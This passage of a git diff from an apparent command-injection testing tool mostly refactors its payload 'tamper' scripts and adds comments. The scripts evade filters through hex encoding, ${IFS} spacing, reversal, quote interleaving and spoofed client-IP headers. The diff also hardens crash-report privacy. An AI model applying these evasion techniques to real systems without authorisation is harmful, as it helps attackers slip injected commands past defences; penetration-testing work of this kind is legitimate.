re.sub(settings.TAMPER_MODIFICATION_LETTERS, obf_char + r"\1", text) diff --git a/src/core/tamper/hexencode.py b/src/tamper/hexencode.py similarity index 91% rename from src/core/tamper/hexencode.py rename to src/tamper/hexencode.py index 7b5d6965ab..a2a07678a0 100644 --- a/src/core/tamper/hexencode.py +++ b/src/tamper/hexencode.py @@ -16,7 +16,7 @@ from src.core.convert import hexencode from src.thirdparty.six.moves import urllib as _urllib from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: hex-encodes all characters in a given payload. @@ -36,6 +36,7 @@ def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) +# Hand the command over hex-encoded, for the target to decode and run. def tamper(payload): checks.tamper_check_space2plus_conflict(__tamper__) payload = _urllib.parse.unquote(payload) @@ -44,4 +45,4 @@ def tamper(payload): payload = encoded_payload return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/multiplespaces.py b/src/tamper/multiplespaces.py similarity index 96% rename from src/core/tamper/multiplespaces.py rename to src/tamper/multiplespaces.py index 6ce11f0d07..a1dd6e72b5 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/tamper/multiplespaces.py @@ -32,6 +32,7 @@ # eighth payload the substitute is millions of characters long rather than a handful. _pristine = {} +# Pad the payload's own spaces out into runs of them. def tamper(payload): for index, whitespace in enumerate(settings.WHITESPACES): base = _pristine.setdefault(index, whitespace) @@ -41,4 +42,4 @@ def tamper(payload): settings.WHITESPACES[index] = base * random.randrange(3, 8) return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/nested.py b/src/tamper/nested.py similarity index 83% rename from src/core/tamper/nested.py rename to src/tamper/nested.py index 998f48dc80..95725b9b01 100644 --- a/src/core/tamper/nested.py +++ b/src/tamper/nested.py @@ -13,9 +13,9 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Adds double quotes (") around a given payload. @@ -25,12 +25,14 @@ __tamper__ = "nested" __priority__ = settings.PRIORITY.LOW +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Wrap one command substitution around another, so the payload reads as nested work. def nested(): if menu.options.prefix: menu.options.prefix = "\"" + menu.options.prefix @@ -50,6 +52,7 @@ def nested(): """ _applied = False +# Nest the payload's command substitutions inside one another. def tamper(payload): global _applied if not _applied and settings.TARGET_OS != settings.OS.WINDOWS: @@ -57,4 +60,4 @@ def tamper(payload): nested() return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/printf2echo.py b/src/tamper/printf2echo.py similarity index 87% rename from src/core/tamper/printf2echo.py rename to src/tamper/printf2echo.py index f47533a77d..5644e1aa50 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/tamper/printf2echo.py @@ -14,7 +14,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. @@ -24,13 +24,16 @@ __tamper__ = "printf2echo" __priority__ = settings.PRIORITY.ABOVE_NORMAL +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Say with 'echo' what the payload said with 'printf'. def tamper(payload): + # The rewrite itself, for the one shape this project's payloads use printf in. def printf_to_echo(payload): if "printf" in payload: payload = payload.replace(settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX, @@ -42,4 +45,4 @@ def printf_to_echo(payload): else: return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/randomcase.py b/src/tamper/randomcase.py similarity index 90% rename from src/core/tamper/randomcase.py rename to src/tamper/randomcase.py index d06085caad..55e4dccaf7 100644 --- a/src/core/tamper/randomcase.py +++ b/src/tamper/randomcase.py @@ -15,7 +15,7 @@ from random import choice from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Replaces each character in a user-supplied OS command with a random case. @@ -27,12 +27,14 @@ __tamper__ = "randomcase" __priority__ = settings.PRIORITY.HIGH +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Vary the case of the payload's letters, where the shell does not care about it. def tamper(payload): _ = (''.join(choice((str.upper, str.lower))(c) for c in settings.USER_APPLIED_CMD)) if settings.EXPLOITATION_PHASE: @@ -54,4 +56,4 @@ def tamper(payload): payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/rev.py b/src/tamper/rev.py similarity index 90% rename from src/core/tamper/rev.py rename to src/tamper/rev.py index bab9c7b805..5e08793ebd 100644 --- a/src/core/tamper/rev.py +++ b/src/tamper/rev.py @@ -14,7 +14,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Reverses (characterwise) the user-supplied operating system commands in a given payload. @@ -26,12 +26,14 @@ __tamper__ = "rev" __priority__ = settings.PRIORITY.HIGHER +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Hand the command over reversed, for the target to turn back with 'rev'. def tamper(payload): if settings.EXPLOITATION_PHASE: source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD @@ -47,4 +49,4 @@ def tamper(payload): payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/singlequotes.py b/src/tamper/singlequotes.py similarity index 83% rename from src/core/tamper/singlequotes.py rename to src/tamper/singlequotes.py index 1c012a8654..a472991471 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/tamper/singlequotes.py @@ -14,7 +14,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Adds single quotes (') between the characters in a given payload. @@ -24,6 +24,7 @@ __tamper__ = "singlequotes" __priority__ = settings.PRIORITY.BELOW_NORMAL +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) @@ -31,7 +32,8 @@ def dependencies(): obf_char = "''" settings.TAMPER_SCRIPTS[__tamper__] = True +# Put empty single quotes between the characters, which the shell drops. def tamper(payload): return checks.interleave_char_tamper(payload, obf_char) -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/slash2env.py b/src/tamper/slash2env.py similarity index 82% rename from src/core/tamper/slash2env.py rename to src/tamper/slash2env.py index 9cd7cec9d8..0888a511a7 100644 --- a/src/core/tamper/slash2env.py +++ b/src/tamper/slash2env.py @@ -14,7 +14,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Replaces slashes (/) with environment variable value "${PATH%%u*}". @@ -25,13 +25,16 @@ __tamper__ = "slash2env" __priority__ = settings.PRIORITY.LOW +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Say with an environment variable what the payload said with a slash. def tamper(payload): + # The substitution itself, over the slashes outside quoted words. def add_slash2env(payload): payload = payload.replace("/", "${PATH%%u*}") return payload @@ -40,4 +43,4 @@ def add_slash2env(payload): else: return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/sleep2timeout.py b/src/tamper/sleep2timeout.py similarity index 89% rename from src/core/tamper/sleep2timeout.py rename to src/tamper/sleep2timeout.py index f7e722563f..42d691adce 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/tamper/sleep2timeout.py @@ -15,7 +15,7 @@ import re from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Replaces "sleep" with "timeout" command in a given payload. @@ -27,13 +27,16 @@ __tamper__ = "sleep2timeout" __priority__ = settings.PRIORITY.NORMAL +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_time_related_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Wait with 'timeout' or 'ping' where the payload waited with 'sleep'. def tamper(payload): + # The rewrite itself, keeping the delay the payload asked for. def sleep_to_timeout_ping(payload): if settings.TARGET_OS != settings.OS.WINDOWS: whitespace = settings.WHITESPACES[0] @@ -49,4 +52,4 @@ def sleep_to_timeout_ping(payload): return payload return sleep_to_timeout_ping(payload) -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/sleep2usleep.py b/src/tamper/sleep2usleep.py similarity index 89% rename from src/core/tamper/sleep2usleep.py rename to src/tamper/sleep2usleep.py index c6c1d2666b..c0594a0ef0 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/tamper/sleep2usleep.py @@ -15,7 +15,7 @@ import re from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Replaces "sleep" with "usleep" command in a given payload. @@ -26,13 +26,16 @@ __tamper__ = "sleep2usleep" __priority__ = settings.PRIORITY.NORMAL +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_time_related_only(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Wait with 'usleep' where the payload waited with 'sleep'. def tamper(payload): + # The rewrite itself, the delay restated in microseconds. def sleep_to_usleep(payload): whitespace = settings.WHITESPACES[0] # Arithmetic-gated delay ("sleep $((5*(cond)))") - scale its leading factor to microseconds. @@ -50,4 +53,4 @@ def sleep_to_usleep(payload): return sleep_to_usleep(payload) return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/space2htab.py b/src/tamper/space2htab.py similarity index 93% rename from src/core/tamper/space2htab.py rename to src/tamper/space2htab.py index bb8955245e..3eb515ef6e 100644 --- a/src/core/tamper/space2htab.py +++ b/src/tamper/space2htab.py @@ -28,6 +28,7 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Separate the payload's words with a horizontal tab instead of a space. def tamper(payload): if len(settings.WHITESPACES) != 0: if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: @@ -36,4 +37,4 @@ def tamper(payload): settings.WHITESPACES.append(space2htab) return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/space2ifs.py b/src/tamper/space2ifs.py similarity index 90% rename from src/core/tamper/space2ifs.py rename to src/tamper/space2ifs.py index 9117fab62a..4a89273bfc 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/tamper/space2ifs.py @@ -15,7 +15,7 @@ from src.utils import settings from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Replaces space character (%20) with the internal field separator ($IFS) in a given payload. @@ -28,12 +28,14 @@ __priority__ = settings.PRIORITY.LOWER space2ifs = "${IFS}" +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Separate the payload's words with '${IFS}' instead of a space. def tamper(payload): if len(settings.WHITESPACES) != 0: if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE != False: diff --git a/src/core/tamper/space2plus.py b/src/tamper/space2plus.py similarity index 94% rename from src/core/tamper/space2plus.py rename to src/tamper/space2plus.py index 96e48adb61..efe41147c7 100644 --- a/src/core/tamper/space2plus.py +++ b/src/tamper/space2plus.py @@ -28,6 +28,7 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Separate the payload's words with a plus sign instead of a space. def tamper(payload): if len(settings.WHITESPACES) != 0 and not settings.IS_JSON: if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: @@ -42,4 +43,4 @@ def tamper(payload): return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/space2vtab.py b/src/tamper/space2vtab.py similarity index 87% rename from src/core/tamper/space2vtab.py rename to src/tamper/space2vtab.py index 54f3008df3..b32a018c11 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/tamper/space2vtab.py @@ -15,7 +15,7 @@ from src.utils import settings from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Replaces space character (%20) with vertical tab (%0b) in a given payload. @@ -26,12 +26,14 @@ __priority__ = settings.PRIORITY.LOWER space2vtab = "\v" +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_windows_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Separate the payload's words with a vertical tab instead of a space. def tamper(payload): if len(settings.WHITESPACES) != 0: if settings.TARGET_OS == settings.OS.WINDOWS: @@ -44,4 +46,4 @@ def tamper(payload): settings.WHITESPACES.remove(space2vtab) return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/uninitializedvariable.py b/src/tamper/uninitializedvariable.py similarity index 85% rename from src/core/tamper/uninitializedvariable.py rename to src/tamper/uninitializedvariable.py index 944ddc0b11..a1962b99d6 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/tamper/uninitializedvariable.py @@ -17,7 +17,7 @@ import random import string from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Adds (randomly generated) uninitialized bash variables between the characters of each command in a given payload. @@ -28,6 +28,7 @@ __tamper__ = "uninitializedvariable" __priority__ = settings.PRIORITY.LOW +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) @@ -37,8 +38,11 @@ def dependencies(): settings.TAMPER_SCRIPTS[__tamper__] = True +# Put an unset variable between the characters, which the shell expands to nothing. def tamper(payload): + # The variables themselves, over the payload outside its quoted words. def add_uninitialized_variable(payload): + # One variable inserted after a single character. def obfuscate(text): # Split into parts: already obfuscated (${XX}) and plain parts = re.split(r'(\$\{[A-Z]+\})', text) @@ -60,3 +64,4 @@ def obfuscate(text): else: return payload +# eof diff --git a/src/core/tamper/xforwardedfor.py b/src/tamper/xforwardedfor.py similarity index 91% rename from src/core/tamper/xforwardedfor.py rename to src/tamper/xforwardedfor.py index fdb6c485b4..0b105d4445 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/tamper/xforwardedfor.py @@ -26,7 +26,9 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Add a spoofed client address, so the request appears to come from elsewhere. def tamper(request): + # An address from one of the ranges a proxy is believed for. def randomIP(): numbers = [] while not numbers or numbers[0] in (10, 172, 192): @@ -43,4 +45,4 @@ def randomIP(): request.add_header('CF-IPCountry', random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]) -# eof \ No newline at end of file +# eof diff --git a/src/txt/__init__.py b/src/txt/__init__.py index de196a7f70..ca8037d413 100644 --- a/src/txt/__init__.py +++ b/src/txt/__init__.py @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/utils/__init__.py b/src/utils/__init__.py index de196a7f70..ca8037d413 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/utils/colors.py b/src/utils/colors.py index 42881c5958..81b183718e 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -15,4 +15,4 @@ ENABLE_COLORING = True -# eof \ No newline at end of file +# eof diff --git a/src/utils/common.py b/src/utils/common.py index bb73039303..7cae5353a9 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -16,11 +16,12 @@ import re import os import sys +import platform import json import time import hashlib import traceback -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.thirdparty import six from src.thirdparty.six.moves import input as _input @@ -89,6 +90,7 @@ def read_input(message, default=None, check_batch=True): # Close the spinner line before prompting unless the message is empty. if message: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Read one answer, falling back to the default where the line was left empty. def is_empty(): value = safe_input(settings.input_message(message)) if len(value) == 0: @@ -168,7 +170,10 @@ def running_as_admin(): Get total number of days from last update """ def days_from_last_update(): - days_from_last_update = int(time.time() - os.path.getmtime(settings.SETTINGS_PATH)) // (3600 * 24) + try: + days_from_last_update = int(time.time() - os.path.getmtime(settings.SETTINGS_PATH)) // (3600 * 24) + except OSError: + return if days_from_last_update > settings.NAGGING_DAYS: warn_msg = "Last update " + str(days_from_last_update) + " days ago. Consider checking for updates." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -198,9 +203,15 @@ def show_http_error_codes(): """ def mask_sensitive_data(err_msg): for item in settings.SENSITIVE_OPTIONS: - match = re.search(r"(?i)commix.+(" + str(item) + r")(\s+|=)([^-]+)", err_msg) - if match: - err_msg = err_msg.replace(match.group(3), '<sanitized>' + settings.SINGLE_WHITESPACE) + """ + The whole value goes, not the part of it before a hyphen. + + A value was matched with '[^-]+', so 'p-ssw0rd' was masked as far as its first hyphen and the + rest of it was reported verbatim. The option's own name is escaped for the same reason: it is a + literal here, and its hyphens are not a range. Quoted values are taken whole, spaces and all. + """ + pattern = r"(?i)(?<![\w-])(" + re.escape(str(item)) + r")(\s+|=)(\"[^\"]*\"|'[^']*'|\S+)" + err_msg = re.sub(pattern, lambda match: match.group(1) + match.group(2) + "<sanitized>", err_msg) return err_msg """ @@ -239,12 +250,37 @@ def create_github_issue(err_msg, exc_msg): + "\" (#" + key + ")" ) + """ + Nothing leaves the machine until the user has said it may. + + Asking GitHub whether this crash is already known is itself a request to a third party, and the + question used to carry the exception's own last line - which is where a path, a target or a + credential ends up. So consent comes first, and the question is asked with the fingerprint alone. + """ + while True: + try: + message = "Do you want to generate a sanitized GitHub issue report? [Y/n] " + choise = read_input(message, default="Y", check_batch=True) + if choise in settings.CHOICE_YES: + # Mask any potentially sensitive data before submission + err_msg = mask_sensitive_data(err_msg) + exc_msg = mask_sensitive_data(exc_msg) + break + elif choise in settings.CHOICE_NO: + print_report_issue(settings.ISSUES_PAGE, prepared=False) + return + else: + invalid_option(choise) + except (KeyboardInterrupt, EOFError): + settings.print_data_to_stdout("") + raise SystemExit() + request = _urllib.request.Request( url="https://api.github.com/search/issues?q=" + _urllib.parse.quote( "repo:commixproject/commix" + settings.SINGLE_WHITESPACE - + str(bug_report) + + "Unhandled exception (#" + key + ")" ) ) @@ -266,27 +302,12 @@ def create_github_issue(err_msg, exc_msg): info_msg += "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return - except: - # Ignore GitHub API errors and continue normally + except (KeyboardInterrupt, SystemExit): + raise + except Exception: + # A GitHub that cannot be reached is no reason not to prepare the report. pass - while True: - try: - message = "Do you want to generate a sanitized GitHub issue report? [Y/n] " - choise = read_input(message, default="Y", check_batch=True) - if choise in settings.CHOICE_YES: - # Mask any potentially sensitive data before submission - err_msg = mask_sensitive_data(err_msg) - break - elif choise in settings.CHOICE_NO: - print_report_issue(settings.ISSUES_PAGE, prepared=False) - return - else: - invalid_option(choise) - except: - settings.print_data_to_stdout("") - raise SystemExit() - # Trim banner/output lines before the actual error content err_msg = err_msg[err_msg.find(settings.END_LINE.LF):] @@ -418,7 +439,7 @@ def unhandled_exception(): err_msg += "If the issue still occurs, you can report it on GitHub by generating a sanitized report that removes sensitive data, or by submitting the details manually." + settings.END_LINE.LF err_msg += settings.SUB_CONTENT_SIGN_TYPE + " " + settings.APPLICATION.capitalize() + " version: " + settings.VERSION[1:] + settings.END_LINE.LF err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Python version: " + settings.PYTHON_VERSION + settings.END_LINE.LF - err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Operating system: " + os.name + settings.END_LINE.LF + err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Operating system: " + platform.platform() + settings.END_LINE.LF err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Command summary: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + settings.END_LINE.LF exc_msg = settings.TRACEBACK + re.sub(r'".+?[/\\](\w+\.py)', r"\"\g<1>", exc_msg) settings.print_data_to_stdout(settings.print_critical_msg(err_msg + exc_msg.rstrip())) @@ -447,6 +468,7 @@ def load_mobile_user_agents(): devices.append((fields[0], fields[-1])) return devices, default_index +# Every non-empty line of a list file, or a stop where the file cannot be read. def load_list_from_file(file_path, description="file"): if not os.path.isfile(file_path): @@ -468,11 +490,12 @@ def load_list_from_file(file_path, description="file"): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if settings.VERBOSITY_LEVEL > 0: + # Bookkeeping behind whatever the list is being loaded for, so it does not break up that check. + if settings.VERBOSITY_LEVEL > 1: debug_msg = "Loaded " + str(len(items)) + " entries from " + description + " '" + file_path + "'." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return items -# eof \ No newline at end of file +# eof diff --git a/src/utils/crawler.py b/src/utils/crawler.py index c5faba9c96..e02d53c0cc 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -16,15 +16,16 @@ import random import string import tempfile -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.utils import common -from src.core.injections.controller import checks +from src.core.controller import checks from src.core.requests import requests from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup +# Clear what the last crawl left behind, so this one starts from nothing. def init_global_vars(): global crawled_hrefs crawled_hrefs = [] @@ -210,6 +211,7 @@ def extract_form_params(form): Fill blank fields with a random int for id-like names or a random string otherwise. """ def random_fill_blank_fields(data): + # The field's value, as the form's own markup gives it. def replacement(match): item = match.group("result") field_name = item[:-1] @@ -395,4 +397,4 @@ def crawler(url, url_num, crawling_list, http_request_method): no_usable_links(output_href) return output_href -# eof \ No newline at end of file +# eof diff --git a/src/utils/logs.py b/src/utils/logs.py index 12c64da3ba..cbcc42a889 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -20,12 +20,12 @@ import tempfile from datetime import date from datetime import datetime -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import common from src.utils import settings from src.core.requests import reproduce from src.utils import session_handler -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib """ @@ -93,10 +93,8 @@ def create_log_file(url, output_dir): path_creation(logs_path) - # Create cli history file if does not exist. + # Where the command history is kept. Saving it is what creates the file. settings.CLI_HISTORY = logs_path + "cli_history" - if not os.path.exists(settings.CLI_HISTORY): - open(settings.CLI_HISTORY,'a').close() if menu.options.session_file is not None: if os.path.exists(menu.options.session_file): @@ -108,8 +106,7 @@ def create_log_file(url, output_dir): else: settings.SESSION_FILE = logs_path + "session.db" - if os.path.exists(settings.CLI_HISTORY): - checks.load_cmd_history() + checks.load_cmd_history() # The logs filename construction. filename = logs_path + settings.OUTPUT_FILE @@ -292,8 +289,7 @@ def write_report(): def print_logs_notification(filename, url): from src.core.requests import keepalive keepalive.close_all() - if os.path.exists(settings.CLI_HISTORY): - checks.save_cmd_history() + checks.save_cmd_history() add_footer(filename) write_report() if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: @@ -304,4 +300,4 @@ def print_logs_notification(filename, url): if url: session_handler.clear(url) -# eof \ No newline at end of file +# eof diff --git a/src/utils/purge.py b/src/utils/purge.py index a1df3b56e3..707e2aea00 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -19,7 +19,7 @@ import shutil import string import functools -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.thirdparty.six.moves import urllib as _urllib @@ -63,6 +63,7 @@ def _truncate_file(path): with open(path, 'w'): pass +# Remove what this target's own output directory holds, and the directory with it. def purge(): directory = settings.OUTPUT_DIR if menu.options.url: @@ -112,4 +113,4 @@ def purge(): err_msg = "Problem occurred while removing directory '" + directory + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) -# eof \ No newline at end of file +# eof diff --git a/src/utils/requirements.py b/src/utils/requirements.py index 7c9e65e12e..f06ada026b 100644 --- a/src/utils/requirements.py +++ b/src/utils/requirements.py @@ -29,4 +29,4 @@ def do_check(requirement): except OSError: return False -# eof \ No newline at end of file +# eof diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 2a67b2446c..5b049ba451 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -20,9 +20,9 @@ import sqlite3 import hashlib import contextlib -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib """ @@ -91,8 +91,10 @@ def url_match(url): def restore_option(stored, applied, label): if not stored or stored == "None": return None - if applied and applied != stored: - warn_msg = ("The stored session was found using the " + label + " '" + stored + "', which differs " + # What was stored carries the marker saying where the injection point is, and what is given now + # does not - so the two are compared by what they hold rather than by how they are written. + if applied and checks.remove_tags(applied) != checks.remove_tags(stored): + warn_msg = ("The stored session was found using the " + label + " '" + checks.remove_tags(stored) + "', which differs " "from the one provided now ('" + applied + "'). Keeping the one provided now.") settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return None @@ -467,6 +469,10 @@ def check_stored_injection_points(url, check_parameter, http_request_method): if found: settings.LOAD_SESSION = True settings.INJECTION_CHECKER = True + # Said where it happens, as the '--ignore-session' switch says the opposite where it happens. + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Resuming the injection point for '" + str(vuln_parameter) + "' from the stored session." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not settings.MULTI_TARGETS and vuln_parameter not in settings.TESTABLE_PARAMETERS_LIST: settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) return session_url, vuln_parameter diff --git a/src/utils/settings.py b/src/utils/settings.py index 416a0a8f2a..e824364026 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -93,20 +93,23 @@ class HTTPMETHOD(object): RL_INVISIBLE_START = "\001" RL_INVISIBLE_END = "\002" +# Colour codes wrapped so readline does not count them as characters on the line. def styled_prompt(codes, text): return RL_INVISIBLE_START + codes + RL_INVISIBLE_END + text OS_SHELL = "commix(os_shell) > " +# The timestamp every message carries. def print_time(): return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] " """ Shared tail for the timestamped print_*_msg wrappers below. """ -def _format_msg(sign, msg, bold=False): +def _format_msg(sign, msg, bold=False, strip=True): prefix = Style.BRIGHT if bold else "" - return print_time() + sign + prefix + str(msg) + Style.RESET_ALL + msg = str(msg).rstrip() if strip else str(msg) + return print_time() + sign + prefix + msg + Style.RESET_ALL # Print execution status def execution(status): @@ -180,6 +183,9 @@ def print_bold_info_msg(info_msg): ESCAPED_CR = "\\r" ESCAPED_CRLF = "\\r\\n" +# The control characters a payload can be built from, and how each is written where it is shown. +ESCAPED_CONTROLS = {"\t": "\\t", "\v": "\\v", "\x1a": "\\x1a"} + # Print payload (verbose mode) def print_payload(payload): """ @@ -187,19 +193,23 @@ def print_payload(payload): It is shown as it is built - real separators, real spaces - because that is the form worth reading and pasting; the wire form, with everything escaped for the request, is what the traffic - at '-v 2' is for. The only thing changed is a line break, which would otherwise put half the - payload on a line of its own and make it look like two. + at '-v 2' is for. The only things changed are the characters a terminal does not draw, which + would otherwise split the line or leave two different payloads looking like the same one. """ for sequence, shown in ((END_LINE.CRLF, ESCAPED_CRLF), (END_LINE.CR, ESCAPED_CR), (END_LINE.LF, END_LINE.ESCAPED_LF)): payload = payload.replace(sequence, shown) - return _format_msg(PAYLOAD_SIGN, payload) + payload = re.sub(r"[\x00-\x1f\x7f]", lambda match: ESCAPED_CONTROLS.get(match.group(0), + "\\x%02x" % ord(match.group(0))), payload) + # A payload is shown exactly as long as it is, a trailing space included. + return _format_msg(PAYLOAD_SIGN, payload, strip=False) # Print HTTP traffic (verbose mode) def print_traffic(traffic): result = TRAFFIC_SIGN + str(traffic) + Style.RESET_ALL return result +# The request's number, as the traffic log refers to it. def print_request_num(number): result = TOTAL_OF_REQUESTS_COLOR + "#" + str(number) + Style.RESET_ALL return result @@ -211,7 +221,7 @@ def print_http_response_content(content): # Print checking message (verbose mode) def print_checking_msg(payload): - return _format_msg(CHECK_SIGN, payload) + return _format_msg(CHECK_SIGN, payload, strip=False) # Print question message def print_message(message): @@ -232,9 +242,29 @@ def reset_terminal_style(): sys.stdout.flush() # Print sub content message -def print_retrieved_data(cmd, retrieved): - result = 